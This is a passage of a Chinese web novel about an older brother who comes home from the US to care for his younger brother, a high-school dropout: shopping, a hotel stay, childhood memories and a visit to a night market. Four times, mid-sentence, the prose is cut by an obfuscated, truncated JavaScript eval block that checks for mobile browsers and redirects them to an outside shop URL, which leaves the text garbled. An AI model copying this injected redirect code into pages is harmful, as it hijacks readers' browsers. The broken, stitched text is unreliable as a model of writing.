“阿米嘎蒂朵~喵喵~阿米嘎蒂朵~喵喵~” “阿米嘎蒂朵~喵喵~阿米嘎蒂朵~喵喵~” 他哥又把视频重新播放了一遍!!! 啊啊啊啊啊啊啊!!!!!! 林嘉琛崩溃地往后一仰,说道:“哥,我求你!” 陆既明笑了一下,长按视频,转发给自己,这才把手机还给林嘉琛。 林嘉琛接过手机,看到他和他哥的聊天记录,再度崩溃,说道:“哥!我真求你了!!!” 9. 第 9 章 陆既明倒是很坦然,说道:“有什么不好意思的,你幼儿园文艺汇演我又不是没看过。” 林嘉琛心道,这能一样嘛! 陆既明又问:“这是叫……手势舞?” 林嘉琛“嗯”了声。 陆既明道:“我上网少,之前确实没看过。” 或许也刷到过,但他之前对爱豆、网红、直播之类的文化完全不了解,也不感兴趣,直到今天看林嘉琛跳这个—— 老实说,其实挺可爱的。 但他又正色道:“但你知道你发这个,招来的都是什么人吗?” 林嘉琛倒在沙发里,语不惊人死不休道:“当然知道了,招一堆富婆姐姐求打赏呗,要是能招来榜一姐姐包养我,那就更好了。” 言语之直白,生怕气不死陆既明一样。 陆既明听得直上火,说道:“林嘉琛,你别逼我在咱俩重逢的第一天扇你!” 林嘉琛闭了嘴。 陆既明又道:“这就是你说的自力更生的方式?” 林嘉琛摆弄着手机,有些不服气地道:“……我自己有分寸!我只是一时迷茫,所以去问了问而已。他问我要手势舞,我手机里刚好有,我就发给他了,我这不是犹犹豫豫了一个多小时才发吗?” 原来是手机里本身有,所以才发过去的,陆既明还以为是林嘉琛特意跳给那个人看的。 不知为何,些许消了点气。 林嘉琛继续道:“他后来又追着我问了那么多条,问我干不干,我不是也一条都没回吗?我这么年轻,有手有脚,又不是只有这一条路!” 陆既明便道:“还有什么路?你倒是说说。” 而在这时,手机里又“叮—”地弹出一条微信。 AAAA-劳务中介-张强:【看好了没有啊,帅哥?】 林嘉琛:“………………” 陆既明再次夺走了手机,这回林嘉琛也失去了反抗的力气。 陆既明一手抱臂,一手举着手机,把林嘉琛和那劳务中介的聊天记录都看了一遍。 那人人如其名,是给人介绍进厂工作的。 只见林嘉琛陆陆续续跟那人聊了好几天,把工厂地址、做什么工作、薪资待遇、包不包吃住、有没有中介费等等问题都问了个清清楚楚,对面也耐心解答。 仿佛他今日不来,林嘉琛分分钟就要拎包进厂。 陆既明看到最后,只感到心中五味杂陈,最后用林嘉琛手机回了一句:【先不考虑了,谢谢你。】 AAAA-劳务中介-张强:【怎么忽然不考虑了?这几个厂待遇都很不错,老板也不错,不是我骗你,真的很难得。】 陆既明道:【我要回去读书了。】 “对方正在输入……”的提示出现了又消失,消失了又出现,不成想,最后对面竟回了一句: 【哎,好吧,能读书还是多读书,能不进厂就不要进厂吧……祝你考上理想的大学。】 陆既明回了句谢谢,由于他在国外染上了给人小费的陋习,又给那人转了两百块红包,说道:【不好意思,耽误您时间了。】 AAAA-劳务中介-张强领取了你的红包。 AAAA-劳务中介-张强:【靠!这么多?】 陆既明:【你把我删了吧,我要收心学习了。】 AAAA-劳务中介-张强:【哎,好吧,谢谢你了。你这么有钱还进什么厂啊,跟家里闹别扭了吧?听你爸妈的话,赶紧回去上学吧。】 陆既明退出去,又把那“团播招聘-龙哥”也删了,而后拿起自己手机,给林嘉琛转了一千,用林嘉琛手机点击接收,把那红包钱补上。 林嘉琛则在一旁看着,任由陆既明操作。 反正他眼下已经被他哥看光了,连条底裤都不剩,一点隐私和面子都没有了。 看到他哥说“我要回去读书了”“我要收心学习了”,林嘉琛也只是笑笑,又说道:“你现在删了,我分分钟还能再加回来十个。” 听了这话,陆既明按住了他的腰。 林嘉琛一下子慌了,挣扎道:“不是,哥,你干嘛?” 他哥手很大,他从小就知道他哥手很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521149|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打人很疼。 可他不理解明明他都已经这么大了,快和他哥差不多高了,已经不是只到他哥腰部的年纪了,为什么他哥的手放在他身上还是这么大!一掌快要盖住他整个腰,压得他动弹不得,为什么!这一点都不科学! 陆既明的手高高抬起,不轻不重朝林嘉琛屁股上扇了一巴掌,说道:“你今天就是想气死我!” 不是很疼。 但隔着牛仔裤的那一声闷响还是让他感到羞耻。 林嘉琛脸一红,忙直起腰,不服气地道:“我怎么就气死你了?职业不分贵贱,能自食其力就是了不起!那么多人不都是平平凡凡活着的?又不是所有人都能像你一样考上A大,还能年纪轻轻实现财富自由!没你这么优秀、这么成功的人,在你眼里是不是都不配活着了?” 陆既明道:“我知道职业不分贵贱,你不要给我乱扣帽子!你辍了学,还知道要自食其力,跟那劳务中介聊,方方面面考虑得还挺周全,我看到了也觉得……” 他不想说“欣慰”二字。 在他缺席的这几年里,林嘉琛遇到太多事,不得不揠苗助长般地长大了,他应该为此而感到欣慰吗? 他一点都不欣慰,他只感到心疼。 他说道:“但你刚刚说那话,就是冲着要气死我来的!” 林嘉琛心道,那你还抢我手机,随意翻我聊天记录呢。 陆既明顿了片刻,又平心静气道:“那你考虑去留学吗?” 林嘉琛斩钉截铁道:“一点都不想。” 陆既明道:“为什么呢?” 林嘉琛道:“我早就没心思学习了,我英语那么差,我还去留学?读个野鸡大学回来了又能怎么样,留学花的钱一辈子都赚不回来,还没有学挖掘机有前途呢!” 陆既明梗住了。 他看了眼腕表,眼下是下午四点,再过一会儿又要吃晚饭,于是道:“算了,不谈这个,谈学习伤感情。” 但不谈又不行,从小就是这样。 他看向林嘉琛,平心静气道:“你今晚要不要睡在这儿?” 10. 第 10 章 林嘉琛语气忽然和缓下来,有些不好意思道:“……哥,你这次来平州,是专程来找我的吗?” “不然呢?”陆既明道,“我这回回国就是专程来找你。” 他原本离了职,定好了去夏威夷的行程,忽然得到林嘉琛找到了的消息,便立刻取消行程飞了回来。 他在美国待了四年,但他在斯坦福上学、硅谷工作,期间又实在太忙,每天两点一线,几乎没怎么出过湾区,也没去过被美国人视作度假胜地的夏威夷。 不过这次没去成,下次有机会倒是可以带林嘉琛一块儿去玩。 林嘉琛是很珍惜和哥哥在一起的时间的,虽然他一直在忤逆哥哥,把哥哥气得不轻,但他真不是故意的…… 也不知哥哥这回回来,准备在平州待多久? 这种有期限的美好,总是让人一边享受一边又忍不住难受。 何况哥哥专程过来找他,他也不能把哥哥一个人扔在酒店,他也想和哥哥在一起久一点。 但回想起来,他和他哥虽从小一块儿长大,但还真没怎么同床睡过。只有妈和姥姥不在家,他一个人睡觉害怕时,才会抱着枕头去找哥哥。 林嘉琛有些扭捏道:“但是哥……你确定你不会嫌弃我吗?” “嫌弃你什么?” “一张床啊。” “……” 陆既明看林嘉琛思来想去,仿佛顾虑很多的模样,都不知林嘉琛在顾虑什么,莫非是弟弟大了,要跟他避嫌,连跟他住一个套房都要避讳?还是他刚刚有点凶了?没想到林嘉琛顾虑的是这个,于是道:“这房间有两个卧室。” 他来得匆忙,订酒店时这酒店的总统套房已经订出去了。 他看行政套房有点小,双卧室套房看着更宽敞一点,便订了双卧室,一开始还真没想太多。 林嘉琛道:“有两个卧室?” 他进门时,第一印象确实觉得门很多,但几个房门都关着,也分不清哪里是卧室、哪里是洗手间,还真没想过会有两间房。 他想了想,又道:“可我什么东西都没带。” 陆既明道:“这旁边就是平州最大的商场。现在是下午四点,我们可以去商场逛逛,买点你需要的,买完刚好去吃饭。” 这样一来,实在没有拒绝的理由,林嘉琛这才欣然道:“好啊。” 商场离酒店很近,两人便没有用车。 酒店大堂的空调开得有些过低,两人从中穿过,都感到有些冷。出了玻璃旋转门,盛夏下午的风温温热热地吹过来,又很舒服。 街道车水马龙,过了一条人行道,隔壁便是商场。 工作日的下午,商场内人不算太多。 林嘉琛进了一家洗护用品店,挑选洗面奶、保湿乳之类的东西。 他选的东西都很平价,陆既明也没强行拔高他的消费水平,只是在林嘉琛纠结时,叫他选好一点的,并提醒他需要的东西一次性买齐。 出了店,陆既明又道:“想想还有什么需要的。” 林嘉琛想了一下道:“好像没有了。” 陆既明思忖片刻,问道:“睡衣呢?” 林嘉琛也思忖了片刻,出于帮哥哥省钱的目的,说道:“睡衣不用买了吧,我穿你的就好了,你不会嫌弃我吧?” 陆既明道:“我可没有睡衣借你,我来得急,只带了一个行李箱,我自己的换洗衣服都还要再买。那去看看睡衣吧,正好我也需要。”说着,捏着林嘉琛后脖颈,把人按进了睡衣店。 两人在店里逛了逛,各买了三套睡衣,还是同款不同码。 陆既明结了账,拎着袋子出来,又问道:“你这两天换洗的衣服是不是也要买几套?” 林嘉琛点点头。 陆既明便道:“那你随便逛,我跟着你就好。” 林嘉琛进的都是运动品牌和潮牌店,挑出来的都是让陆既明看不懂的衣服。只是进试衣间一试,穿出来给陆既明看,陆既明又觉得林嘉琛穿每一套都很好看,于是买买买。 林嘉琛喜欢的——买。 林嘉琛觉得一般,可买可不买的——买。 林嘉琛嫌丑,但陆既明觉得小孩子就应该这么穿的——买。 林嘉琛之前刷到new era的一款棒球帽,很喜欢,便存了图片,问了店员,店员却说那一款她们店里没有。 陆既明便道:“再看看别的,店里这么多棒球帽。”说着,亲自给他挑选了几款。 林嘉琛试戴了一下,陆既明看了只觉得每一顶都挺好看的,弟弟穿什么、戴什么都好看。 但林嘉琛有自己的标准,还是对图片中那一款情有独钟,陆既明便先买了两顶他自己觉得还不错的,说道:“回去看网上能不能买到。” 两人逛完街,又在商场吃了饭,吃完又去超市散步,顺便买了点水果,这才大包小包地回了酒店。 眼下是平州的夜晚,湾区的清晨。 陆既明公司晨型人士比较多,且他们公司上班时间灵活,有些人六七点钟来上班,下午两三点便下班回家了。 他在电梯里收到几条工作信息,回了房间,便进卧室处理了一下。 忙完,想起林嘉琛的水果还没洗,正准备出来给他洗水果,推开门,便见林嘉琛已经洗上了。 陆既明走到一旁围观,说道:“有进步,都会自己洗水果了。” 林嘉琛道:“这才哪到哪啊。” 他可是在病床前看护过的人,眼下生活技能已经很完备了,哥哥却总是拿他当小孩儿看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521150|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待。 林嘉琛洗完,沥干水分,很乖巧地先给陆既明递了过去,“喏”了声。 陆既明摆了摆手道:“我不吃。” 林嘉琛讶异道:“你不吃水果啊?” 林嘉琛是一个水果收割机,所到之处,几乎没有水果可以幸存,看到了就要全部炫完,眼下惊讶于哥哥居然不吃已经洗好了的、递到眼前的水果。 陆既明道:“我现在基本把高糖的东西都戒掉了,尤其这个晴王,实在太甜。” 林嘉琛用一种“哥,你过的都是什么苦日子”的同情眼神看了陆既明一眼,便走到沙发坐下,一边玩手机一边吃,吃完一碗爆甜的晴王,又吃了几颗爆甜的山竹。 他就喜欢爆甜的东西! 陆既明在一旁看了片刻,问道:“你吃这么多高糖的东西,不会晕碳吗?” 林嘉琛说:“不会啊。”顿了顿,又邪恶一笑道,“——可能因为我还小吧。” 陆既明梗住了,过了片刻,两手伸过去,又把林嘉琛的头发揉乱了,揉得林嘉琛吱哇乱叫,说自己刚漂完头,发质不好,一会儿要成爆炸头了! 他出去跟人谈事,别人都惊讶于他的年轻,怎么到了林嘉琛这儿,就好像他半截身子要入土了一样。 陆既明看了一眼摆了一地的购物袋,这才放过林嘉琛,走上前去,拿出两人新买的睡衣,又看了眼林嘉琛的衣服、裤子、鞋子,问道:“你这些衣服是不是也要洗一下再穿呢?” 林嘉琛看了眼,“嗯”了声。 陆既明便把吊牌都拆了,放进脏衣桶,又用座机给前台打了个电话,说有几件临时要穿的衣服要洗。 过了片刻,门铃响起。 陆既明去应门,把一桶衣服都交给了阿姨,想了想,又回身道:“嘉琛。” “嗯?” “我这儿还有件T恤要洗,一起洗不介意吧?” “当然不介意!” 陆既明对阿姨说了句:“稍等一下。”便把T恤拿了过来,一起放进了脏衣桶,说道,“就这些了,谢谢。” 一个多小时后,门铃再次“叮咚—”响起。 由于陆既明在工作,是林嘉琛跑去开了门。 阿姨把衣服洗好送了上来,衣物上还带着烘干后的温热和柔顺剂的芬芳,摸上去很柔软。 林嘉琛说了句:“谢谢。”便把衣服接过来,又递上几张哥哥给他的钞票,乖乖道,“这是我哥给您的小费。” 阿姨有些受宠若惊,说道:“谢谢你啊,小伙子!” “不客气。”林嘉琛说着,关好门道,“哥,衣服送来了!” 陆既明在卧室道:“好的,衣服送来了,那你先去洗澡吧,洗完早点睡。” 林嘉琛“哦”了声。 11. 第 11 章 林嘉琛洗完澡,吹完头,换上一套崭新睡衣,又坐在沙发上等了哥哥一会儿,顺便换了SIM卡、下载APP,把手机给换了。 只是陆既明一直在忙,时不时还打电话,讲的都是比他们高中听力还要难一百倍的英语。 他连听力都听不懂,哥哥讲的就更听不懂了。 等到夜里十二点,林嘉琛实在困了,听哥哥挂了电话,这才磨磨蹭蹭走到了哥哥卧室门前,见房门半开着,便向里望了过去。 陆既明正坐在桌前工作,一抬头,便看到林嘉琛穿着一身藏蓝色丝质睡衣,顶着一头粉头发,探了个脑袋进来,怔了怔,问道:“这都几点了,你怎么还不睡?” 林嘉琛倚在门框上哈欠连天,一副很命苦的模样,说道:“……你还没有和我说晚安。” 只不过看他那哀怨的目光,他想说的应该是——你没和我说晚安,我怕打扰你工作,一直等到现在才过来找你,结果你还怪我没有早点睡觉。 陆既明起了身,走到林嘉琛面前道:“对不起,我忘了。时间太晚,你快回去睡觉。”说着,把他扭送回房间。 林嘉琛前阵子一直在失眠,昨晚也是在网吧睡的,此刻困意汹涌袭来,走路都有些踉跄。 陆既明在身后按着他两肩,一直把他送上床,看着他盖好被子,又帮他关了窗帘和灯,说了句“晚安”,这才关上房门离开。 酒店大床实在舒服,林嘉琛舒展了四肢。 隔壁房间又开始传来英语听力,催眠简直有奇效。 林嘉琛回想今天发生的一切,只觉得像在做梦一样——不,是做梦都不敢想的程度,于是就这样笑着笑着就睡了过去。 *** 林嘉琛睡了很沉很沉的一觉。 酒店床品太舒服,窗帘遮光又太好,他想早点醒来的,可等睁眼时竟已是上午九点半。 他两周前才退学,退学前每天六点半就要起床,习惯了这作息,便觉得睡到九点半实在晚得有些离谱了。 他挠挠头,打着哈欠走出卧室,见陆既明果然已经醒来,正无所事事地坐在沙发上等他起床,见他出来,说了声:“早。” 林嘉琛揉揉眼睛,也说了声“早”便进洗手间洗漱。 洗漱完,大脑便也清爽了。 出来时,见客厅内十分静谧,阳光透过落地窗打下来,照在了陆既明身上。陆既明正坐在沙发上看手机,穿了一件白色T恤和一条黑色五分运动短裤,看着很休闲运动的模样。 林嘉琛路过时便又说了一句:“哥,你穿西装看着像三十六岁,穿这一身才像二十六。” “……” 陆既明已经习惯了林嘉琛这样的调侃,面不改色心不跳道:“那看来还是要穿西装,看着像三十六,气势上压着你。我这回来,就是来给你当爹的。”又催促道,“赶紧,都十点了,换好衣服去吃早餐。” 林嘉琛“哦”了声。 十分钟后,两人来到顶楼餐厅。 经理给他们预留了靠窗位置,视野很好,能够将城市景观一览无余。 平州身为二线城市,这些年实在发展了很多,城建非常新,市中心到处都是玻璃大厦。 其实陆既明上学时是来过一次平州的。 准确来说,是在去鹿城的途中在平州换过一次车。 那年他好像高二吧,和姥姥、妈妈、林嘉琛一块儿回老家过年,四口人坐绿皮火车,坐了整整两天才从安城来到了平州,又在平州换了大巴去往鹿城。 其实对于当时的他们而言,四口人往返两地的卧铺票也实在是一笔不小的开支。因为这个,妈妈和姥姥也好多年没回去过了。 那一年姥姥、妈妈实在想家,便决定回去一趟。陆既明得知后便说他不去了,自己留在家里就好,他不去便省一个人的车票。 可姥姥、妈妈说这怎么行?平时便算了,可当时是过年,怎么能留他一个人待在家里? 回想起来,那四年家里虽穷,但姥姥、妈妈似乎也从未区别对待过他一回,没有就是一家人都没有,有就是一家人都有,最后还是带着他一起回了趟鹿城。 记得当年妈在服装厂做衣服,姥姥做保洁,就这样养他们两个小的,一家四口挤在两室一厅的出租屋里。 由于他当年在读高中,需要学习到很晚,妈妈便把其中一间卧室给了他,林嘉琛则一直没有自己的房间。一开始和妈妈睡,后来姥姥来了,妈便又在旁边给林嘉琛加了张小床。 他也记得林嘉琛小时候很喜欢奥特曼,记得他赖在超市货架的奥特曼前不肯走的样子。 其实林嘉琛小时候一直都是很懂事的,知道妈妈没有钱,一般也不会闹着要买玩具。只是那天不知为何,就是对那奥特曼一见倾心,妈妈不给买,他便赖在地上大哭大闹。妈妈最后没办法,便把他强行拖走,回到家后又教训了他一顿。 那天林嘉琛挨了骂,蹭进他房间,一个人躺在他床上哭哭啼啼、抽抽搭搭,眼泪鼻涕抹了他一床,实在很伤心的模样。 陆既明背对着他写作业,心里也很难受,见林嘉琛哭不停,便忽然回过头,很郑重地对他说:“哥哥现在上高二,最晚还有六年就可以工作赚钱。等哥哥赚了钱,给你买一百个奥特曼。” 林嘉琛也很好哄,听了这话一下子就不哭了,问道:“真的?” 陆既明道:“拉钩为定。” 林嘉琛便跑来跟他拉钩,说道:“拉钩上吊,一百年不许变!” 其实林嘉琛也不是非要那奥特曼不可,他知道家里没钱,也知道妈妈很辛苦。只是别的小朋友都有,他自己没有,妈妈不安慰他,反倒骂了他一顿,他心里便很委屈。 哥哥正视了他的需求,他也就不委屈了,只觉得哥哥是超级英雄,全世界最好的哥哥! 林嘉琛小时候还很喜欢喝QQ星,但以他们家当时的条件,还不能给林嘉琛实现QQ星自由。 妈妈偶尔也会给林嘉琛买,一排只有四个。妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521151|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈拆开给林嘉琛两个,叫他自己喝一个,给哥哥拿一个,他也傻傻的不知道护食,抱着两个便咕噜噜地跑过来。 陆既明至今记得林嘉琛推开他房门,探一个脑袋进来的模样,眼睛亮晶晶的像星星,满是有好东西要跟他分享的喜悦;自己喝一个,又很大方地递给他一个,说:“哥哥,给。” 陆既明便说小孩子才爱喝这个,叫他自己喝。 林嘉琛小小的脑袋里满是大大的问号,不理解这世上怎么会有人不喜欢QQ星这么好喝的东西。 那几年,一家人便生活在这样有很多很多爱,物质却又极度匮乏的状态里。回想起来,那些年,他好像一直都抱着将来要出人头地,要带妈妈、姥姥和林嘉琛过上好日子的信念,在拼尽全力地向前冲。 只可惜高考一结束,他便和林嘉琛一家失散了。 眼下看着林嘉琛,他便只想千倍、万倍地补偿他。 旅游淡季,餐厅内人不算太多,两人到餐台取餐。 陆既明拿着夹子道:“这个香煎杏鲍菇不错,在我看来是这里的top1,和白粥一起吃很好吃。”说着,多给林嘉琛夹了一些。 林嘉琛也是很记仇,说道:“哥,你一大早喝白粥,也不怕晕碳啊?” 陆既明语塞片刻,说道:“……不想晕,但这酒店的白粥真的很好喝,不知道为什么,可能也是因为我太久没吃到了。反正我现在又不用工作,你一个学生才应该多注意一点。” 林嘉琛:“……” 两人一块儿回到座位用餐,陆既明吃到一半又问道:“姥姥现在是一个人在鹿城吗?” 林嘉琛点了点头。 陆既明用导航导了一下鹿城,发现离平州不远,开车只要三小时,便说道:“一会儿吃完饭,要不要去看看姥姥?” 林嘉琛穿了一件运动外套,由于早上醒来有点炸毛,于是又戴了一顶棒球帽,有些为难道:“……但姥姥下午还要去打麻将哎。” “姥姥还打麻将?” “嗯啊。”林嘉琛理所当然地道,“姥姥私生活可丰富了,周一到周五打麻将,周六周日因为她们一个牌友要带孙子,所以才休息两天,但她还要去社区舞蹈队跳舞。跳舞可以不去,但打麻将她要是不去,那就三缺一了,所以最好等周末再去!” 虽然跟姥姥说是哥哥来了,姥姥肯定会毫不犹豫地把牌局推了,顺便把之后几天的也都推了,让他们留下来多住几天,但他又有一点自己小小的私心。 哥哥这次回来,也不知要在平州待多久? 明明说已经离任,但看他昨晚那状态,好像公司还很需要他,指不定哪天就要飞回去的样子。美国那么远,哥哥回去了,还会再来看他吗? 他不知道哥哥准备何时回去,但他知道哥哥回去之前一定会去看姥姥,晚一点去看姥姥,哥哥是不是就能晚一点走了呢? 而在这时,陆既明看了一眼手机道:“今天周五,明天周六,那就明天去,可以吧?” 12. 第 12 章 “……” 明天就是周六? 林嘉琛也看了一眼手机,见今天果然是周五,真是太久没上学,日子都过糊涂了,拖延竟只拖延了一天,有些勉为其难道:“好吧。” 陆既明道:“怎么,听你这口气,好像不是很想去看姥姥的样子啊?是不是觉得翅膀硬了,嫌姥姥烦了?” 林嘉琛道:“怎么可能!我之前上学的时候,几乎每周末都会去姥姥家好不好。” 顺便再要四百块钱回来。 虽然他有事不去,姥姥也会给他微信转账。 陆既明道:“姥姥一个人很孤独,你平时有空要多去看看姥姥,知道吗?” 林嘉琛“嗯”了声。 陆既明喝了一口牛奶,又道:“对了,你昨天说的那个帽子,后来在网上看过了没有?” 林嘉琛有些三分钟热度,快忘记这件事了,没想到哥哥竟还记得,说道:“没有,也不用看了。” 陆既明道:“为什么呢?说好了给你买。你现在就看,用你的手机。”又问道,“你还记得我之前说过,等我工作了要给你买二十个奥特曼吗?” 林嘉琛当然记得!这件事他印象可深刻了! 但眼下他都大了,哥哥再提这件事,便显得他有点幼稚,想起自己小时候为了一个玩具哭哭啼啼的样子,也觉得很没面子。 于是他眼睛半睁——他表示无语时的标志性神情,说道:“哥,都多少年前的事情了?” 陆既明道:“我来晚了,承诺没能兑现——当然,如果你现在还喜欢奥特曼的话,那我们现在就去买,买一墙。如果不想要,那别的总要满足。”说着,见林嘉琛拿起手机看了好半天,又道,“看好了没有?看好了给我看一眼。” “看好了。”林嘉琛说着,很乖巧地把手机递了过去,是选尺码、颜色的界面,给哥哥过目一下。 只见陆既明看了一眼,问道:“就这个,选好了是吧?” 林嘉琛乖巧点头。 陆既明又拿起自己手机,两个机子操作了好一会儿,这才把手机还给他,说道:“买好了。” 林嘉琛拿回了一看,只见—— 待发货 113 购物车(0) 哥哥把他的购物车清空了!!! 林嘉琛有一种甜蜜的崩溃感,说道:“哥,你干什么呀?清空购物车也不跟我说一声,这购物车我都好久没看了,我都不记得自己加了什么了。”说着,点进待发货看了一眼,见有他昨天刚加的手机壳、耳机壳,还有之前看的衣服、裤子。 他买东西一向是很谨慎的,又仔细筛选了一遍,把不想要的都退掉了。 于是陆既明收到几条短信提示: 【您的信用卡XXXX成功退款,收入金额19.9元。】 【您的信用卡XXXX成功退款,收入金额58.98元。】 【您的信用卡XXXX成功退款,收入金额108.18元。】 【您的信用卡XXXX成功退款,收入金额299元。】 【……】 直到终于不再弹出提示,林嘉琛也把手机放下了,陆既明这才道:“我给你开了张副卡,绑了你的支付宝、微信。”说着,把卡号用微信发给他,道,“密码是你生日,额度一百多万。” 林嘉琛:“……???” “!!!” 这是什么霸道哥哥强制宠啊!清空他购物车,还给他开额度一百多万的副卡? 陆既明道:“以后有什么想要的自己买,但仅限于吃的、喝的、穿的。如果是娱乐性质的东西——比如你要买游戏装备,或是给主播打赏之类的,前者提前跟我报备,后者不允许。” 毕竟在他眼里林嘉琛还是个学生,虽然已满18周岁,但还在上高中,那就跟未成年没什么区别。 林嘉琛当然不会随便刷哥哥的卡,哥哥上回给他转的红包都够他花好久了。 他一时不知该从哪句开始回起,说道:“知道了,谢谢哥……我基本上没买过什么游戏装备,给主播打赏更是想都不敢想……我还想让主播给我打点赏呢……” “……” 陆既明梗住了片刻,说道:“你能不能有点出息?我给你开这个副卡,就是怕你目光短浅,为了那点小钱去干什么团播,结果你还想让主播给你打赏?那我倒宁愿你去给人打赏。” 林嘉琛心想,可他总要有一份收入吧? 总不能一直花哥哥的钱吧? 哪怕哥哥愿意,可哥哥又能养他多久呢?哥哥以后也要结婚生子,他总不能再去花哥哥和嫂子的共同财产吧? 吃完饭回到房间,不知为何,林嘉琛又感到一阵困意席卷而来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521152|203315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大概是前阵子天天失眠,要他现在补回来。 但他又有些舍不得睡,便坐在沙发上哈欠连天。 陆既明进了洗手间,过了片刻,拿着自己的电动剃须刀走出来,很郑重地道:“嘉琛。” “嗯?” “是你用了这个剃须刀吗?” 因为他看剃须刀的位置挪动了一下。 林嘉琛愣了愣道:“是啊,哥,你不会洁癖到不允许我用一下你的剃须刀吧?” 陆既明道:“不是,我只是在惊讶你需要刮胡子这件事。” “………………” 林嘉琛眼睛半眯下来,一副很无语的模样道:“哥,我都成年了,三年前就需要刮胡子了。”说着,又打了个哈欠,直打出了眼泪。 陆既明便道:“一定是早餐吃晕碳了,你先进去休息,下午我们再找个地方逛逛,明天就去看姥姥。” 林嘉琛“哦”了声便回房间,关了窗帘,很快便沉沉地睡了过去。 他这一觉睡得很长,陆既明在客厅整理了一下林嘉琛乱扔的东西,整理完又有些无事可做,看了看股市,看了看业内动态,一直等到下午三点,林嘉琛也丝毫没有要醒来的迹象。 他有些饿,便吃了林嘉琛昨晚剩下的水果。 而在这时,他那A大同学发来信息。 周思望:【见到弟弟了,感觉如何?】 陆既明:【当然是爆炸好。】 周思望:【在干嘛呢?】 陆既明:【在酒店。】 周思望:【你弟弟呢?】 陆既明:【一直在睡觉。】 约摸过了十多分钟—— 周思望:【好奇怪,大数据给我推了这个。】 周思望:【吗喽挠头.jpg】 下面是一条宠物视频,陆既明也不知道周思望给他转这个是什么意思,眼下太闲便点开来看。 视频中,博主说自己捡了一条流浪狗,只是回到家后不玩不闹,每天只呼呼睡觉,问网友狗狗是不是生病了? 网友便解释说,狗狗之前一直流浪,由于环境不安全,需要一直提高警惕,没办法睡上一个整觉。眼下被接到家里,确认环境安全,又有了温暖的房间和柔软的被子,便会一直睡,把之前的觉都补回来。 陆既明看完回了句:【你才是流浪狗。】 13. 第 13 章 不过林嘉琛一直嗜睡还真有点那个意思,他前阵子很焦虑,一焦虑便整夜整夜地失眠,每天睡眠时间平均不到三小时。 眼下虽然还是对未来没什么打算,但哥哥来了,多少让他感到了安心,睡意便如滔滔江水席卷而来。 再一睁眼,见时间已是下午三点半。 林嘉琛吓了一跳,忙下了床,一出门便见哥哥正在沙发上看手机,客厅内十分安静,他便挠挠头道:“……不好意思,睡迷糊了,哥,你吃饭了没?” “没。”陆既明放下手机,看向他道,“不过你再不起来,我也准备要叫醒你了,因为你哥已经要饿晕了,想想有没有什么想吃的?” 林嘉琛想了想,还真没想到什么,于是道:“哥,你吃不吃麻辣烫?我妈之前在夜市开了一家店,后来盘出去了,现在换了一个老板经营,但味道还和以前一样。反正我觉得蛮好吃的,就是不知道你吃不吃得惯。” “妈做的口味我肯定能吃得惯啊。”陆既明道,“那就那里吧,去尝尝。” 林嘉琛很开心,有一种要带哥哥去吃妈妈做的麻辣烫的感觉,说道:“吃完了还能在夜市逛逛,那儿都快成网红街了,晚上可热闹了,还有好多游客呢。” 陆既明摸摸他的头,说道:“好。” 由于陆既明原本没想跑太远,已经让司机先回去了,出了大堂,两人便打了个车。 下午五点,路上稍微有点堵,林嘉琛降下车窗,吹进来的风里满是盛夏的味道。两人在夜市入口下了车,各式各样的小吃香气便瞬间扑鼻而来。 来到小店时,店内快要坐满了,出来送餐的老板娘看到两人连忙道:“哎呀,是嘉琛来啦,快坐快坐!”说着,看向他身后,“这是你们家亲戚哥哥吗?” 林嘉琛道:“对,是我哥。” 老板娘又看了陆既明一眼,别了一下鬓角的碎发,有些羞赧道:“真是一表人才啊,快坐快坐。” 林嘉琛走到一旁拿起不锈钢盆,问道:“哥,你吃啥?” 陆既明道:“你看什么好吃,随便给我夹一点。”说着,先找了个位置坐下。 林嘉琛便按自己的口味夹了两碗一模一样的。 走去结账时,老板娘一边称重一边又看了陆既明一眼,问道:“嘉琛啊,你那个亲戚哥哥现在在哪儿上班?有女朋友了没有?” 